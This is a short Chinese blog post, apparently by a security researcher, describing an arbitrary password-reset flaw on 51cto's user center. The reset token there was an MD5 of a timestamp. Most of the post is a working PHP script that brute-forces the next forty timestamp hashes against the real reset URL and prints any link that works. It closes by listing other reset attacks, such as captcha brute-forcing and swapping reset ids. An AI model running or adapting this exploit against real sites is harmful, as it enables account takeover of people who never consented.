這個任意密碼修改已經發現一年多的時間了。 今天準備演示呢,結果拿出來測試的時候失效了。
為何可以任意密碼修改,如下
http://ucenter.51cto.com/setpass.php?id=6330498&unid=0a35749ac3f8dc33c307e504448625fe
這個是修改密碼的鏈接
存在漏洞時候的unid=0a35749ac3f8dc33c307e504448625fe這里的unid是時間戳之后md5加密的,只要我們知道用戶的郵箱、就選擇找回密碼、猜解發送給用戶的url、就可以修改密碼了。
exp:
<?php
echo time().'<br>';
for($a=1;$a<=40;$a++){
//獲取當前時間戳加一 并且使用md5加密
$b=md5(time()+$a);
//初始化curl
$ch = curl_init() ;
//設置url路徑
$url="http://ucenter.51cto.com/setpass.phpid=6330498&unid=$b";
// 設置你需要抓取的URL
curl_setopt($ch,CURLOPT_URL,"$url");
// 返回結果,而不是輸出它 1為返回結果 0為直接輸出(不明白的請看http://0x007.blog.51cto.com/6330498/1226301 )
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
//發送curl請求
$result = curl_exec($ch);
//字符串匹配
if (stripos($result, '確認密碼:')) {
echo "ok"."<a href=$url tar>您的修改密碼連接為</a>";
}
curl_close($ch);
}
?>
一個邏輯漏洞而已, 任意密碼修改的還有很多的例子、比如爆破驗證碼、比如找回密碼的id可以替換他人的 、等等。